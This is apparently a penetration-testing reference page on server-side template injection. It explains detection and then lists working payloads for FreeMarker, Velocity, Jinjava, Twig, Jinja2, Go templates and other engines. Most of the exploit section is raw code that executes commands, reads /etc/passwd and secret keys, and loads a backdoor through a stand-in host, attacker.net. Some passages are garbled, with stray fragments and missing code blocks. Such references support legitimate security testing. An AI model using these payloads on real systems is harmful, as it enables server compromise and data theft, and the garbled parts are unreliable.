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What is SSTI (Server-Side Template Injection)
Server-side template injection is a vulnerability that occurs when an attacker can inject malicious code into a template that is executed on the server. This vulnerability can be found in various technologies, including Jinja.
Jinja is a popular template engine used in web applications. Let's consider an example that demonstrates a vulnerable code snippet using Jinja:
In this vulnerable code, the name parameter from the user's request is directly passed into the template using the render function. This can potentially allow an attacker to inject malicious code into the name parameter, leading to server-side template injection.
For instance, an attacker could craft a request with a payload like this:
The payload {{bad-stuff-here}} is injected into the name parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.
To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.
Detection
To detect Server-Side Template Injection (SSTI), initially, fuzzing the template is a straightforward approach. This involves injecting a sequence of special characters (${{<%[%'"}}%\) into the template and analyzing the differences in the server's response to regular data versus this special payload. Vulnerability indicators include:
Thrown errors, revealing the vulnerability and potentially the template engine.
Absence of the payload in the reflection, or parts of it missing, implying the server processes it differently than regular data.
Plaintext Context: Distinguish from XSS by checking if the server evaluates template expressions (e.g., {{7*7}}, ${7*7}).
Code Context: Confirm vulnerability by altering input parameters. For instance, changing greeting in http://vulnerable-website.com/?greeting=data.username to see if the server's output is dynamic or fixed, like in greeting=data.username}}hello returning the username.
Identification Phase
Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include ${7/0}, {{7/0}}, and <%= 7/0 %>. Observing the server's response to mathematical operations helps pinpoint the specific template engine.
an interactive table containing the most efficient template injection polyglots along with the expected responses of the 44 most important template engines.
Exploits
Generic
In this wordlist you can find variables defined in the environments of some of the engines mentioned below:
${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Retrieve the system’s environment variables
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
// I think this doesn't work#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end// This should work?#set($s="")#set($stringClass=$s.getClass())#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("cat%20/flag563378e453.txt"))#set($out=$process.getInputStream())#set($null=$process.waitFor() )#foreach($i+in+[1..$out.available()])$out.read()#end
In Thymeleaf, a common test for SSTI vulnerabilities is the expression ${7*7}, which also applies to this template engine. For potential remote code execution, expressions like the following can be used:
Thymeleaf requires these expressions to be placed within specific attributes. However, expression inlining is supported for other template locations, using syntax like [[...]] or [(...)]. Thus, a simple SSTI test payload might look like [[${7*7}]].
However, the likelihood of this payload working is generally low. Thymeleaf's default configuration doesn't support dynamic template generation; templates must be predefined. Developers would need to implement their own TemplateResolver to create templates from strings on-the-fly, which is uncommon.
Thymeleaf also offers expression preprocessing, where expressions within double underscores (__...__) are preprocessed. This feature can be utilized in the construction of expressions, as demonstrated in Thymeleaf's documentation:
#{selection.__${sel.code}__}
Example of Vulnerability in Thymeleaf
Consider the following code snippet, which could be susceptible to exploitation:
{{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
{{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Search for "com.hubspot.content.hubl.context.TemplateContextRequest" and discovered the Jinjava project on Github.
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the {%%} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Expression Language (EL) is a fundamental feature that facilitates interaction between the presentation layer (like web pages) and the application logic (like managed beans) in JavaEE. It's used extensively across multiple JavaEE technologies to streamline this communication. The key JavaEE technologies utilizing EL include:
JavaServer Faces (JSF): Employs EL to bind components in JSF pages to the corresponding backend data and actions.
JavaServer Pages (JSP): EL is used in JSP for accessing and manipulating data within JSP pages, making it easier to connect page elements to the application data.
Contexts and Dependency Injection for Java EE (CDI): EL integrates with CDI to allow seamless interaction between the web layer and managed beans, ensuring a more coherent application structure.
Check the following page to learn more about the exploitation of EL interpreters:
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#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{['id',""]|sort('system')}}#Hide warnings and errors for automatic exploitation{{["error_reporting","0"]|sort("ini_set")}}
Plates is a templating engine native to PHP, drawing inspiration from Twig. However, unlike Twig, which introduces a new syntax, Plates leverages native PHP code in templates, making it intuitive for PHP developers.
Controller:
// Create new Plates instance$templates =newLeague\Plates\Engine('/path/to/templates');// Render a templateecho $templates->render('profile', ['name'=>'Jonathan']);
<?php//we want to display this author list$authors =array('Christian Weiske'=>'cweiske@php.net','Bjoern Schotte'=>'schotte@mayflower.de');require_once'HTML/Template/PHPLIB.php';//create template object$t =&newHTML_Template_PHPLIB(dirname(__FILE__),'keep');//load file$t->setFile('authors','authors.tpl');//set block$t->setBlock('authors','authorline','authorline_ref');//set some variables$t->setVar('NUM_AUTHORS',count($authors));$t->setVar('PAGE_TITLE','Code authors as of '.date('Y-m-d'));//display the authorsforeach ($authors as $name => $email) { $t->setVar('AUTHOR_NAME', $name); $t->setVar('AUTHOR_EMAIL', $email); $t->parse('authorline_ref','authorline',true);}//finish and echoecho $t->finish($t->parse('OUT','authors'));?>
patTemplate non-compiling PHP templating engine, that uses XML tags to divide a document into different parts
<patTemplate:tmplname="page"> This is the main page. <patTemplate:tmplname="foo"> It contains another template. </patTemplate:tmpl> <patTemplate:tmplname="hello"> Hello {NAME}.<br/> </patTemplate:tmpl></patTemplate:tmpl>
Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nothing
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% debug %}{{settings.SECRET_KEY}}{{4*4}}[[5*5]]{{7*'7'}} would result in7777777
Jinja2 - Template format
{% extends "layout.html"%}{% block body %}<ul>{%for user in users %}<li><a href="{{ user.url }}">{{ user.username }}</a></li>{% endfor %}</ul>{% endblock %}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read()}}# Or in the shotest versions:{{ cycler.__init__.__globals__.os.popen('id').read()}}{{ joiner.__init__.__globals__.os.popen('id').read()}}{{ namespace.__init__.__globals__.os.popen('id').read()}}
The .NET System.Diagnostics.Process.Start method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in https://github.com/cnotin/RazorVulnerableApp
In Go's template engine, confirmation of its usage can be done with specific payloads:
{{ . }}: Reveals the data structure input. For instance, if an object with a Password attribute is passed, {{ .Password }} could expose it.
{{printf "%s" "ssti" }}: Expected to display the string "ssti".
{{html "ssti"}}, {{js "ssti"}}: These payloads should return "ssti" without appending "html" or "js". Further directives can be explored in the Go documentation here.
XSS Exploitation
With the text/template package, XSS can be straightforward by inserting the payload directly. Contrastingly, the html/template package encodes the response to prevent this (e.g., {{"<script>alert(1)</script>"}} results in <script>alert(1)</script>). Nonetheless, template definition and invocation in Go can bypass this encoding: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE Exploitation
RCE exploitation differs significantly between html/template and text/template. The text/template module allows calling any public function directly (using the “call” value), which is not permitted in html/template. Documentation for these modules is available here for html/template and here for text/template.
For RCE via SSTI in Go, object methods can be invoked. For example, if the provided object has a System method executing commands, it can be exploited like {{ .System "ls" }}. Accessing the source code is usually necessary to exploit this, as in the given example:
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